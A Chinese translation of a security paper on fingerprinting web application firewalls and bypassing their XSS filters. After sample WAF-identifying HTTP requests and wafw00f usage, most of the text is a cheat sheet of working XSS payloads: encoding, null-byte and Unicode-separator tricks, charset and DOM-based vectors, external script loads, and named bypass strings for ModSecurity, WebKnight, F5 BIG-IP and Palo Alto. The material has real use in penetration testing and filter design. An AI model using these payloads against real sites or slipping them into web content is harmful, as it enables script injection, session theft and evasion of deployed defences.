[譯文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”
0x1 前言
之前在烏雲drops上看到一篇繞過WAF跨站腳本過濾器的一些技巧,是從國外的一篇paper部分翻譯過來的,可以說文章摘取了原文核心的代碼部分,見Bypass XSS過濾的測試方法。看完后覺得確實講得比較全面和細致,然后找出了英文原文的paper,看了一下並畫蛇添足的進行了下翻譯,翻譯得不好但算是有了篇完整的文章。
0x2 正文
摘要:
眾所周知,過去多年以來信息安全領域的划分出現了。web應用正遭受攻擊,從這個角度來說,WAF(Web Application Firewalls)變得越來越流行,通常而言,各種機構會使用它來防范包括SQL注入、跨站腳本和遠程命令執行在內的各種攻擊。
web應用依舊是網絡犯罪的一個主要攻擊向量,數據顯示網絡犯罪並沒有減少的跡象。攻擊者現在越來越多地通過通過跨站腳本、SQL注入和其他一些滲透技術對應用層發起攻擊。
web應用中的漏洞作為一個攻擊目標可以歸根於很多問題,包括:脆弱的輸入驗證、會話管理、不正確的系統設置及操作系統和服務器軟件的缺陷。值得注意的是,犯錯是人類的天性。實際上,編寫安全的代碼是減少web應用程序中漏洞的最有效方法。然而,在編程時我們免不了要出錯,編寫安全的代碼說的遠比做起來要簡單,而且這還會涉及幾個關鍵的問題。
1.1 基本概念
web應用中缺乏對用戶輸入參數和服務端響應的有效驗證會引發XSS,這種攻擊可以在目標用戶的瀏覽器中插入任意HTML代碼。
從技術上來說,當用戶的輸入參數在瀏覽器中完全顯示出來時就會出現這個問題,比如javascript代碼能被解析為合法程序的一部分並能訪問文檔的所有實體(DOM)。現實中,在用戶瀏覽器中修改脆弱應用程序的HTML文檔或者使用網絡釣魚都會引發攻擊,XSS攻擊通常通過控制輸入字段實現大量網站的腳本注入。
1.2 介紹
Firewalls、IDS、IPS是用於保護基礎設施免於惡意攻擊的最常見的安全機制。其中,防火牆最為常用的安全機制,通常置於網絡層和應用層,通過基於預配置的注冊簽名數據庫監控客戶端和服務器端的HTTP和HTTPS流量,以此分析惡意數據包。
一般來說,基於網絡的應用層防火牆的基本目標是監控和阻塞違背了預定義策略的用戶內容,有時候這些策略匹配可能成為潛在攻擊的用戶輸入模式。通過WAF的規則在語義上而言和XSS的攻擊載荷是一樣的,關鍵在於避免處罰安全策略。
WAF依賴於最常見的兩項措施,即白名單和黑名單,白名單意味着僅允許當前數據庫中白名單上的成員通過,而黑名單則會嘗試過濾掉不被允許的通過。最常見的方法是使用黑名單,意味着會過濾掉那些已知的不可靠的,然而設置黑名單並不是正確的方法,它依賴於可以被繞過的黑名單列表。本文着重於解釋各種能繞過WAF的方法,尤其是那些依賴於黑名單機制的WAF。
2.1 指紋識別WAF
在這一節中,我們會學習一些識別WAF的技巧。偵查是行動的第一步,在繞過前先知道我們面對的是什么是很重要的。一些WAF會在cookie值或http響應中留下明顯的標記,這讓我們能很容易的檢測出我們面對的是什么WAF。
2.1.1 Cookie值
一些WAF會在HTTP通信中加上它們唯一的cookie,這對攻擊者來說是非常有用的。
2.1.2 指紋識別 Citrix Netscaler
Citrix Netscaler便一個例子,下面是向一個部署了Citrix Netscaler的應用發起的簡單而非惡意的GET請求
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC;
ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lPTklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA&
Connection: keep-alive
Cache-Control: max-age=0
高亮部分標紅(ns_af)是netscaler在GET請求中添加的cookie,這暗示了該應用的背后運行中citrix netscaler
2.1.3 指紋識別 F5 BIG IP ASM
F5是有着深層檢測功能的世界知名web應用防火牆,類似於citrix netscaler,F5 BiG IP ASM也會在它們的HTTP通信中添加特定的cookie。下面是提交給有F5防火牆的應用一個非惡意GET請求:
GET / HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: target_cem_tl=40FC2190D3B2D4E60AB22C0F9EF155D5; s_fid=77F8544DA30373AC-31AE8C79E13D7394; s_vnum=1388516400627%26vn%3D1;
s_nr=1385938565978-New; s_nr2=1385938565979-New; s_lv=1385938565980; s_vi=[CS]v1|294DCEC0051D2761-40000143E003E9DC[CE];
fe_typo_user=7a64cc46ca253f9889675f9b9b79eb66;
TSe3b54b=36f2896d9de8a61cf27aea24f35f8ee1abd1a43de557a25c529fe828;
TS65374d=041365b3e678cba0e338668580430c26abd1a43de557a25c529fe8285a5ab5a8e5d0f299
Connection: keep-alive
Cache-Control: max-age=0
2.1.4 HTTP Response
其他WAF可以通過提交惡意請求后的HTTP響應類型來檢測,每款WAF的響應各不相同,比較常見的有403、406、419、500、501等
2.1.5 指紋識別Mod_Security
Mod_security是一款針對Apache服務器而設計的開源WAF,由於是開源的,Mod_security曾被多次繞過,但也因此其檢測能力有了重大的提升。一個惡意請求被發送給部署了mod_security的應用后返回一個“406 Not acceptable”錯誤,在響應體中也暗示了該錯誤由mod_security生成。
請求:
GET /<script>alert(1);</script>HTTP/1.1 Host: www.target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
響應:
HTTP/1.1 406 Not Acceptable Date: Thu, 05 Dec 2013 03:33:03 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=10, max=30 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>
2.1.5 指紋識別WebKnight
Webknight是另一款非常流行的WAF,針對IIS服務器而設計。Webknight使用黑名單機制並查找諸如SQL注入、路徑遍歷、XSS攻擊的特征,不同於其他WAF,識別Webknight非常容易,一個惡意請求返回"999 No Hacking"
請求:
GET /?PageID=99<script>alert(1);</script>HTTP/1.1 Host: www.aqtronix.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive
響應:
HTTP/1.1 999 No Hacking
Server: WWW Server/1.1
Date: Thu, 05 Dec 2013 03:14:23 GMT
Content-Type: text/html; charset=windows-1252
Content-Length: 1160
Pragma: no-cache
Cache-control: no-cache
Expires: Thu, 05 Dec 2013 03:14:23 GMT
2.1.6 識別F5 BIG IP
發送給F5 BIG IP的惡意請求會返回“419 Unknown”響應,這個也可以作為F5的指紋,即便請求中cookie值被隱藏了
請求:
GET /<script> HTTP/1.0
HTTP/1.1 419 Unknown
Cache-Control: no-cache Content-Type: text/html; charset=iso-8859-15
Pragma: no-cache Content-Length: 8140 Date: Mon, 25 Nov 2013 15:22:44 GMT Connection: keep-alive Vary: Accept-Encoding
2.1.7 識別dotDefender
dotDefender是另一款為保護.net應用程序而設計的知名WAF,同Mod_security和Webknight類似,在發送惡意請求后dotDefender會在響應體中包含暗示自身的信息
請求:
GET /---HTTP/1.1
Host: www.acc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cache-Control: max-age=0
響應:
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Thu, 05 Dec 2013 03:40:14 GMT Content-Length: 2616 <!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>dotDefender Blocked Your Request</title>
2.2.1 用Wafw00f自動指紋識別
一些WAF足夠聰明,會在cookie值和HTTP響應中隱藏自己的標記,這意味着即便你發送一個惡意的請求,響應永遠都是“200 ok”,在這種情況下我們需要額外的測試來識別這種WAF的指紋。幸運的是,我們可以使用Wafw00f來節省我們的時間。
Wafw00f是一個python寫的、專門用於指紋識別WAF的小工具,它生成5種不同的測試來檢測WAF,例如跟蹤http請求里面的cookies、分析發送惡意請求收到的http響應、使用丟FIN和RST數據包的方法並查看收到的響應、服務器隱藏、修改URL、選擇http方法及測試從一個WAF到另一個WAF的預建的否定簽名。
讓我們直接從wafw00f源代碼看一下它使用的檢測方法。下面的幾個截圖演示了幾個作為http請求發送的攻擊向量,包含了常用的XSS字符串、遍歷/etc/passwd的嘗試及一個干凈的HTML字符串。這些是最WAF一開始就會阻塞的常用特征,發送背后的意圖是引起WAF觸發一個唯一的錯誤以幫助wafw00f識別部署在應用后的WAF
2.2.2 基於Cookie的檢測
wafw00f使用的最常見的類型是基於cookie的檢測,下面的截圖演示了使用正則表達式匹配特定的cookie,在本例中是F5asm和F5trafficsheild。注意到F5 traffic sheild也會在服務器頭里返回"F5-TrafficSheild",而這就是我們要找的代碼
2.2.3 匹配HTTP響應
第二常見的類型檢測方法是匹配http響應,我們之前已了解到有些WAF的響應含有獨一無二的http響應代碼,這有助於我們識別使用的WAF。下面的代碼用於檢測應用背后是否部署了"webKnight"防火牆,它發送一個攻擊向量並匹配響應代碼是否為"999",我們前面已經發現當WebKnight收到一個惡意請求時會拋出“999”
2.2.4 WAF清單
wafw00f中的-list參數可以被用來確定wafw00f目前能檢測的waf
def iswebknight(self): detected = False for attack in self.attacks: r = attack(self) if r is None: Return response,responsebody= r if response.status== 999: detected =True Break return detected
2.2.5 使用工具
這個工具很容易使用,你只需執行下面的命令即可
./wafw00f.py http://www.target.com
3.1 繞過黑名單
我們知道,為了節省時間大部分WAF提供商會使用黑名單進行否定,這意味着他們有一個包含復雜正則表達式的簽名數據庫,使用這個數據庫可以查詢他們試圖阻塞的模式。問題在於這種基於黑名單的保護方法可以被繞過,因為javascript是如此靈活,這取決於具體於上下文。我們有成千上萬的方式可以使用javascript繞過基於黑名單的保護機制,這也是我們在這一節要討論的。
有三種繞過黑名單的方法:
1)暴力破解
2)正則逆向
3)瀏覽器bug
3.1.2 暴力破解
在暴力破解方法中,我們一般會拋出大量的攻擊載荷並期望它們能觸發,這也是大多數自動化工具和掃描器使用的方式。這種方法對一些過濾器而言可能是有效的,但是在真實環境中卻常常會失敗,因為自動化掃描器不理解上下文內容,而我們的攻擊載荷在不同上下文中也是不同的。
3.1.3 正則逆向
這是繞過WAF的最佳方式,之前說過WAF依賴於使用它們數據庫中的前面來匹配攻擊載荷。這些指紋大多數是以復雜的正則表達式的形式存在,如果攻擊載荷匹配了規則庫中的正則就會觸發WAF,但是如果不匹配則不會觸發。使用這種方法,我們需要花點時間來逆向猜測WAF的指紋,一旦知道了WAF的阻塞規則,我們就可以構造不會觸發WAF規則的攻擊載荷和有效的javascript語法。
3.1.4 瀏覽器Bug
當上面兩種方法都沒法成功,利用瀏覽器漏洞則是我們剩下的最后一種辦法了,繞過瀏覽器的關鍵在於我們要比供應商更加了解瀏覽器的機制。我們常常會遇到有着完整規則的WAF,使用現代瀏覽器我們沒法繞過黑名單,因此我們將陣地轉移至更舊的瀏覽器版本,看是否有已公布的bug或者能否找到一個0 day。繼續嘗試,我們可以發現一些瀏覽器bug,並看看怎樣才能用它們繞過WAF。
4.1 繞過黑名單的方法 – Cheat Sheet
本節我們會看一下繞過黑名單的方法和方式,同樣我還會在本節中談及暴力破解和逆向正則的方法。
4.1.1 初始測試
1)嘗試插入無害的HTML載荷如<b>,<i>,<u>,觀察它們是否會被阻塞,http響應是怎樣的。是否被html編碼了、標簽和尖括號是否被過濾了、是否有替換發生。
2)如果開或閉標簽被剔除了,嘗試插入未閉合的標簽(<b,<i,<u,<marquee)。觀察是否過濾了開標簽、插入的代碼表現是否完美。如果表現得很完美,這意味着正則表達式會查找有着開合閉標簽的html元素,而不會對開標簽進行過濾。
3)接下來試一下99.99%的xss過濾器都會過濾的XSS載荷:
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">
你收到的響應是什么呢,它觸犯了403 forbidden頁面還是500錯誤?是否在http響應中完全剔除了整條語句了?或者只是部分剔除了,你還剩下alert、prompt、confrom?如果是這樣的話,()是否也被過濾了呢?
接下來,試着注入大小寫組合的代碼,說不定只有小寫會被過濾。
<scRiPt>alert(1);</scrIPt>
4)假設大小寫組合無法繞過過濾器,我們還可以使用嵌套的標簽.
<scr<script>ipt>alert(1)</scr<script>ipt>
這種情況下,過濾器會剔除<script>和</script>標簽,當外層的標簽被過濾后<scr ipt>會結合起來形成合法的JavaScript代碼,這樣你就能繞過限制了
5)接下來我們會使用<a href標簽,看它會返回什么
<a href=”http://www.google.com>Google Search</a>
<a標簽被過濾了嗎?
href被過濾了嗎?
href里面的數據被過了了嗎?
如果標簽都沒有過濾掉,我們可以在href標簽里面插入javascript語句
<a href=”javascript:alert(1)”>Clickme</a>
它觸發了錯誤嗎?
是否href里面的整個javascript標簽都被剔掉了,或者僅剔除了"javaScript"?
試一下混合的大小寫能否繞過
如果我們在href標簽中,但javascript關鍵字被過濾了,還有很多不同的編碼類型可供使用,后面會說到。接下來我們試一下使用事件處理執行Javascript代碼
<a href="www.cnblogs.com/r00tgrok" onmouseover=alert(1)>ClickHere</a>
事件處理被刪掉了嗎?
還是說僅僅過濾了"on"后面的"mouseover"
接下來插入一個無效的事件處理檢驗是否所有的事件處理都會被過濾或者僅部分會被過濾
<a href="www.cnblogs.com/r00tgrok" onclimbatree=alert(1)>ClickHere</a>
收到相同的響應了嗎?
你能注入嗎?
如果我們可以注入無效的事件處理且"on"部分並未過濾,這意味着會過濾特定的事件處理。在HTML5中,我們有超過150種事件處理,這也意味着我們有150多種方法執行javascript,一個顯著的變化是事件處理不會被過濾掉。一個很少被過濾的事件處理為"onhashchange":
<body/onhashchange=alert(1)><a href=#>click me
4.1.2 測試其他標簽
接下來我們嘗試一下其他常用能生成有效javascript語法的標簽和屬性
src屬性:
接下來我們會測試src屬性是否會被過濾,有很多html標簽都可以使用src屬性執行JavaScript代碼
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe:
<iframesrc="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
embed標簽:
<embed/src=//goo.gl/nlX0P>
action屬性:
action是另外一個可以用於執行javascript腳本的屬性,通常用於<form、<isindex等元素中
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
變種:
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
formaction屬性:
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
background屬性:
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
poster屬性:
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
data屬性:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
code屬性:
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件處理:
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
最短向量:
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in case of payload restrictions.
嵌套:
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
當圓括號被阻塞時使用throw:
<a onmouseover="javascript:window.onerror=alert;throw 1>
另一個變種:
<img src=x onerror="javascript:window.onerror=alert;throw 1">
Chrome和IE中,上面的向量會拋出一個"uncaught",然而可以使用十六進制戲法
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
expression屬性:
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''�x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
location屬性:
<a onmouseover=location=’javascript:alert(1)>click <body onfocus="location='javascrpt:alert(1) >123
其他載荷:
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg>
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
當 = ( ) ; : 都不被允許時的XSS載荷:
<svg><script>alert(/1/)</script> // Works With All Browsers // ( is html encoded to ( // ) is html encoded to )
Opera中的變種:
<svg><script>alert( 1) // Works with Opera Only
實體解碼:
通常那個WAF都會對輸入進行解碼,你應該測試一下你所遇到的WAF是否會進行實體解碼。下面給出的例子不是一個孤立有效的XSS向量,然而有時候WAF會將其解碼形成完美的javascript語法,然后你就能繞過了
</script><script>alert(1)</script> <a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
4.1.4 編碼
javascript是一門十分靈活的語言,我們可以靈活的使用多種類型編碼,如十六進制、Unicode、HTML。然而他們對載荷編碼都有某些的規則。有時候WAF解碼實體時情況有所不同,這里是一個特定屬性的列表,其后是他們支持的編碼方式。
屬性:
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
支持的編碼: HTML, 八進制, 十進制, 十六進制, Unicode
屬性:data= 支持的編碼:base64
4.1.5 基於上下文的過濾
web應用過濾器一個很大的問題是它們不理解上下文黑名單能阻塞單獨的javascript腳本,但對於防范XSS卻並不是那么有效。原因在於我們並不是每次都需要一個單獨的向量來執行javascript腳本,很多時候我們的輸入會被反射,這種情況下我們不需要單獨的javascript腳本來執行有效的javascript語句,看幾個例子:
屬性中的輸入反射:
<input value="XSStest" type=text>
顯然我們可以使用 ><imgsrc=x onerror=prompt(0);>, 這樣的語句,我們使用>閉合input標簽然后插入自己的載荷。然而,有時候我們的<>會被轉義或過濾掉,我們可以使用相似的方法繞過並執行我們的javascript腳本
autofocusonfocus=alert(1)//
基本上我們在最前面使用"來閉合標簽中的值然后執行我們的事件處理函數:
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
<script>標簽中的輸入反射:
<script> Var x=”Input”; </script>
我們現在面臨的是不允許<>的情況,因此我們不能使用一個已有的屬性如"></script>。然而,在這種情況下我們不需要閉合腳本屬性來執行JavaScript,因為我們的輸入已經反射在script標簽中了。我們可以直接調用alert()、prompt()、confirm()函數執行有效的JavaScript代碼,下面的輸入會觸發一個alert
“;alert(1)//
雙引號和分號會閉合已有的屬性,然后alert函數就會執行,這里是它實際執行的情況:
<script> Var x=”“;alert(1)//”; </script>
非常規的事件監聽:
很多時候需要在JavaScript中使用非常規的事件處理,如DOMfocusin、DOMfocusout,這些事件讓事件監聽得到適當的執行
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
這里是同種類的事件處理函數:
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
href上下文:
另外一個你經常會遇到的上下文是href標簽中的輸入:
<a href=”Userinput”>Click</a>
這種情況下,我們只需直接插入JavaScript,用戶點擊就會執行
javascript:alert(1)//
完整的語句為:
<a href=”javascript:alert(1)//”>Click</a>
大多數你遇到的黑名單過濾器都回刪掉JavaScript關鍵字或者查找冒號后面的javaScript。這種情況下你可以使用HTML實體編碼和URL編碼來繞過黑名單,href標簽會自動解碼實體。如果還是不行,你可以試試vbscript,該偽協議在IE10和data URI中都能支持。
Javascript變種:
下面是幾個JavaScript變種:
javascript:alert(1)
javaSCRIPT:alert(1)
jaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
javascript:alert(document.cookie)
vbscript變種:
vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)"
Data URl:
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Json上下文:
在encodeURIComponent中插入JavaScript代碼,很容易觸發XSS並在所有的瀏覽器中執行
輸入反射:
encodeURIComponent('userinput')
例如:-alert(1)-
-prompt(1)-
-confirm(1)-
執行結果就是
encodeURIComponent('-alert(1)-')
svg標簽中的輸入反射:
svg中的用戶輸入有點不同,HTML5的到來使得svg的使用得到戲劇性的增加。使用它也引發了很多問題,試想如下場景,你的輸入被反射到<svg>里面的<script>標簽中
<svg><script>varmyvar=”YourInput”;</script></svg>
當我們提交如下輸入時:www.site.com/test.php?var=text”;alert(1)//
有時候雙引號會被編碼,但它仍是有效的javascript語法並會得到執行
<svg><script>varmyvar="text";alert(1)//";</script></svg>
至於它會執行的是因為在HTML中引入了額外的上下文(XML),解決方法可以對字符進行兩次編碼
5.1 瀏覽器Bug
之前提到過,繞過web應用過濾器的關鍵在於我們比WAF提供商更好的了解瀏覽器,只有當我們理解了瀏覽器的工作方式才有可能找到bug並利用其為我所用。這一節我們會談一談瀏覽器的bug
5.1.2 字符集Bug
字符集bug在IE中也很常見,第一個字符集bug是UTF-7,然而我們並不會去討論,它只對以前的瀏覽器有效。但我還是會談到一個比較好玩的場景,我們可以在現代瀏覽器中執行JavaScript腳本。字符集定義了頁面編碼的方式,大部分internet網站使用的是utf-8編碼,當然也有一些使用的是其他編碼方式。如果你能通過篡改參數將頁面的編碼方式改為你選擇的,我們可以繞過99.99%的WAF和例如html特殊字符的防御方式,當然這種情況也十分少見。
試想一下下面這個場景,下面的應用使用html特殊符號,或者你碰到了一個會編碼輸入的WAF,字符集參數定義了默認的編碼方式為utf-8
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
我們注入測試載荷並觀察返回結果;
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img src=x onerror=prompt(0);>
這樣我們就有了一個可以設置字符集的參數,可以將其改為utf-32並注入基於utf-32的載荷:
∀㸀㰀script㸀alert(1)㰀/script㸀
當我們注入上面的載荷時,它就會被編碼為我們設置的utf-32,然后編碼頁面為utf-8,表現為如下:
"<script>alert (1) </ script>
最終的poc如下:
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-
32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
上面的攻擊載荷會在IE9及之前的版本執行JavaScript代碼,它能在IE9中執行是因為IE不僅無法識別utf-32(當然firefox也無法識別),而且IE直到IE9都不會處理空字節(0x00),而Chrome和safari都可以識別utf-32
5.1.3 空字節
如果你有編程基礎的話,你對空字節一定不會感到陌生,它們通常用於字符串終結符。IE9之前的版本都會忽略空字節,而這可以幫我們規避許多web應用程序過濾器,因為它們可能並不會過濾空字符。幾個月前,我用空字符繞過了mod_security的xss過濾器,如下;
<scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
<!--空字節直到php5.3.8還能奏效>
5.1.4 解析bug
RFC文檔聲明了節點名不能是空格,這意味着下面的代碼不能運行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
不妨試想一下,過濾器在節點名開始處就查找字符(a-z)並將其過濾掉。但是如果我們可以注入其它如% , // , !等的特殊符號,我們就可能繞過舊版本的IE過濾器。原因是舊版本IE的攻擊載荷,例如<%,<//,<!,<?會被解析為<,然后我們就可以在這些字符后面注入攻擊載荷了,下面是幾個例子;
<// style=x:expression\28write(1)\29> // Works upto IE7
<!--[if]><script>alert(1)</script --> // Works upto IE9 <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
5.1.5 Unicode分隔符
在Unicode字符集中有一些分隔符,比如空格,每個瀏覽器都有它自己的分隔符。當你碰上一個有着良好規則的WAF,它們通常會攔截所有的事件處理函數,阻塞所有事件處理函數的正則表達式如下所示:
[on\w+\s*]
上面的正則表達式會查找所有以on*開通的字符串並將其刪除,元字符"\s"的問題是它不包含一些分隔符,如x0b
為了確定每個瀏覽器的有效分隔符,我們可以從0x00到0xff進行模糊測試,幸運的是已經有人為每個瀏覽器編出了一個有效分隔符的列表:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
上面所有這些分隔符中,oxb是比較難搞懂的,mod_security使用類似上面描述的正表達式,我用下面的poc又一次繞過了mod_security
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
下面的python代碼會打印出從0x00到0xff的所有字符:
count = 0 fori in xrange(0x00,0xff): count += 0x1 printchr(i), print count
5.2.1 缺失X-frame-Options
經常存在一個誤解,認為x-frame options是用來防范點擊劫持漏洞的,不過防止網站被攻陷可以使你免於無窮無盡的漏洞
5.2.2 Docmodes
IE在很久前引入了doc-mode,用於提供向后的兼容性,然而這也暴露了一些風險。設想如果攻擊者能攻下你的網站,他也可以引入doc-mode並執行CSS表達式:
expression(open(alert(1)))
下面的poc會插入IE7仿真器並將一個網站地址置於iframe中
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframe src="https://targetwebsite.com">
</body>
</html>
5.2.3 Window.name
名稱對象告訴我們窗口的名字,在這樣一個場景我們可以加載頁面,在iframe中我們也能控制窗口的名字,我們可以執行javaScript腳本並繞過長度的限制,在設想一下我們可以攻陷一個網站卻不能注入"javascript:alert(1)"
POC:
<iframe src='http://www.target.com?foo="xss autofocus/AAAAA onfocus=location=window.name//' name="javascript:alert("XSS")"></iframe>
參數位置相當於"window.name",因為我們已經控制了名稱屬性,我們可以將名字設置為“javascript:alert(xss)”,再然后,我們就可以執行javascript腳本了
6.1 基於DOM的XSS
服務端的過濾器無法應對基於DOM的XSS,原因在於基於DOM的XSS其XSS攻擊向量總是在客戶端執行,看一下最簡單的例子:
<script> vari=location.hash; document.write(i); </script>
上面的JavaScript獲取location.hash的輸入,location.hash后面傳遞的任何東西都不會發給服務器,接下來基於用戶的輸入通過document.write屬性直接打印給DOM而沒有任何JavaScript轉義,這會導致基於DOM的XSS
在一些場合下我們會將一個反射型XSS轉換為基於DOM的XSS以避開過濾器,看一下這個POC:
http://www.target.com/xss.php?foo=<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()
上面的POC僅當[及.和+被允許時才有效,我們可以使用location.hash來注入所有不被允許的字符。上面的場景中(,)和:不被允許,然而[,.和+是被允許的。因此,我們在 想注入不允許字符的地方使用location.hash[index]進行插入。
Location.hash[2]= ( // Defined at the second position after the hash.
Location.hash[3] = ) // Defined at third position after the hash.
Location.hash[1] = : // Defined at the first position after the hash.
基於DOM的XSS的唯一障礙是客戶端的過濾器,我們會在一個單獨的頁面里看一下繞過的方法
7.1 繞過
通過調整cheat sheet里的攻擊載荷,我們能繞過大多數流行的WAF,我們決定有一些方法等到廠商修復后再公布,以免違背道德黑客精神
7.1.1 繞過ModSecurity
<scri%00pt>confirm(0);</scri%00pt>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
7.1.2 繞過webKnight
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
7.1.3 繞過F5 BIG IP ASM and Palo ALTO
<table background="javascript:alert(1)"></table>
